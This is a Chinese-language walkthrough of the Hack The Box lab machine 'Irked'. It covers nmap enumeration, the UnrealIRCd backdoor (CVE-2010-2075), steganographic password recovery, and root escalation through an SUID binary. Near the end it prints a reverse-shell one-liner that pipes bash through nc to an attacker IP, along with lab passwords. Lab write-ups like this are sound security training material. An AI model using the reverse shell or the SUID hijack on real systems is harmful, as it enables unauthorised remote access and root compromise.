Irked-Writeup

概述 (Overview)

79222066.png

  • MACHINE TAGS
    • Cryptography
    • Web

攻击链 (Kiillchain)

84983159.png

TTPs (Tactics, Techniques & Procedures)

  • nmap
  • steghide
  • pyftpdlib
  • SUID

阶段1:枚举

开局还是常规 nmap 进行端口和服务的识别:

# Nmap 7.91 scan initiated Thu May  6 08:54:23 2021 as: nmap -p- -oA nmap/AllPort -T4 -v --min-rate 1000 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up (0.22s latency).
Not shown: 65528 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
6697/tcp  open  ircs-u
8067/tcp  open  infi-async
56026/tcp open  unknown
65534/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
# Nmap done at Thu May  6 08:55:31 2021 -- 1 IP address (1 host up) scanned in 68.15 seconds

#  cat nmap/AllPort.nmap | grep open | cut -f 1 -d '/' | tr '\n' ',' | sed s/,$//
22,80,111,6697,8067,56026,65534

# Nmap 7.91 scan initiated Thu May  6 09:05:13 2021 as: nmap -p22,80,111,6697,8067,56026,65534 -sC -sV -oA nmap/Port -T4 -v --min-rate 1000 10.10.10.117
Nmap scan report for 10.10.10.117
Host is up (0.16s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33989/udp6  status
|   100024  1          43440/udp   status
|   100024  1          47756/tcp6  status
|_  100024  1          56026/tcp   status
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
56026/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  6 09:05:35 2021 -- 1 IP address (1 host up) scanned in 21.93 seconds

从扫描信息上我们获悉 Host: irked.htb,存在 ssh 服务、 http 服务和 irc 服务。

浏览器查看下,就一张图片:

75498864.png

阶段2:工具和利用

阶段2.1:发现存在密码的隐写文件

下载后使用 stegsolve.jarsteghide 分析一下看看是否存在隐写,发现需要获得密码才能解数据:

83045454.png

尝试其他的信息获取:

$ whatweb -v http://10.10.10.117                                                                                                                         
WhatWeb report for http://10.10.10.117                                                                                                                     
Status    : 200 OK                                                                                                                                         
Title     : <None>                                                                                                                                         
IP        : 10.10.10.117                                                                                                                                   
Country   : RESERVED, ZZ                                                                                                                                   

Summary   : Apache[2.4.10], HTTPServer[Debian Linux][Apache/2.4.10 (Debian)]                                                                               

Detected Plugins:                                                                                                                                          
[ Apache ]                                                                                                                                                 
        The Apache HTTP Server Project is an effort to develop and                                                                                         
        maintain an open-source HTTP server for modern operating                                                                                           
        systems including UNIX and Windows NT. The goal of this                                                                                            
        project is to provide a secure, efficient and extensible                                                                                           
        server that provides HTTP services in sync with the current 
        HTTP standards. 

        Version      : 2.4.10 (from HTTP Server Header)
        Google Dorks: (3)
        Website     : http://httpd.apache.org/

[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        OS           : Debian Linux
        String       : Apache/2.4.10 (Debian) (from server string)

HTTP Headers:
        HTTP/1.1 200 OK
        Date: Thu, 06 May 2021 12:54:51 GMT
        Server: Apache/2.4.10 (Debian) 
        Last-Modified: Mon, 14 May 2018 18:00:02 GMT
        ETag: "48-56c2e413aa86b-gzip"
        Accept-Ranges: bytes
        Vary: Accept-Encoding
        Content-Encoding: gzip
        Content-Length: 83
        Connection: close
        Content-Type: text/html

通过 whatweb 没有获取到更多有用的信息,尝试 exploit-db 搜索。

阶段2.2:利用 CVE-2010-2075

关键字:unrealircd exploit github 获悉到一个漏洞编号 CVE-2010-2075。

从2009年11月到2010年6月在某些镜像站点上分发的UnrealIRCd 3.2.8.1在DEBUG3_DOLOG_SYSTEM宏中包含一个外部引入的修改(特洛伊木马),允许远程攻击者执行任意命令。

根据CVE编号找漏洞脚本: https://raw.githubusercontent.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor/master/exploit.py

78267151.png

OK,成功获取到 ircd 身份的shell,查看目标服务器存在哪些用户目录:

$ ls /home
djmardov
ircd

通过 whereis 查询到目标机器存在 ftp 命令,所以我这优先使用 pyftpdlib 进行文件传输。

kali@kali ~$ python3 -m pyftpdlib -p 21 -w

ircd@irked:~$ ftp 10.10.16.9
USER anonymous
PASS anonymous
PUT linpeas.txt

80830417.png

阶段2.3:djmardov用户登录

在运行 linpeas 的同时,查询下 djmardov 用户存在哪些文件和目录:

81360186.png

找到了 user flag,同时发现 .backup 文件获得一组密码。

$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

用这组密码进行 su 切换用户失败,ssh 碰撞也失败,解隐写图片成功了:

83482984.png

pass.txt 中得到新的密码:Kab6h+m+bbp2J:HG,通过新密码成功登录 djmardov 用户。

83793641.png

阶段3:权限提升

通过 linpeas 辅助分析,发现存在一个可以的本地服务 631 端口:
85719876.png

尝试将端口进行映射,查看它运行的服务(这里我用的ssh映射,将本地的631转到对外1337端口):

# sshpass -p 'Kab6h+m+bbp2J:HG' ssh djmardov@10.10.10.117 -L 1337:127.0.0.1:631

85758760.png

额,没见过这个服务,暂时不明。接着看 linpeas,发现存在一个不明的 SUID 权限的命令 /usr/bin/viewuser

78088613.png

尝试执行下:

78245161.png

结果显示类似执行了查询用户在线的命令,留意到最后显示: sh: 1: /tmp/listusers: not found,这种信息一般是通过 sh 去运行某个文件但文件不存在才出现的提示。

尝试利用,写入一个反弹shell,然后执行:

$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.9 9900 >/tmp/f" > /tmp/listusers
$ viewuser

78544996.png

额,成功获得root身份的shell。前面的 bash 利用写错了,正常应该是 bash -c '<里面的才是bash -i>',可能是打的太晚了当时脑子有点糊涂…

viewuser 的二进制分析可看这个:https://fuzzmymind.com/2019/05/29/suid-binary-exploit-a-primer/

关于IRC

因特网中继聊天(Internet Relay Chat),一般称为互联网中继聊天,简称:IRC

很早就知道这个东西了,我最后一次用还在零几年的时候(上古时代了)。

可以使用该工具进行登录:hexchat https://hexchat.github.io/screenshots.html,kali里面已经默认安装了。

76659360.png
77016042.png

参考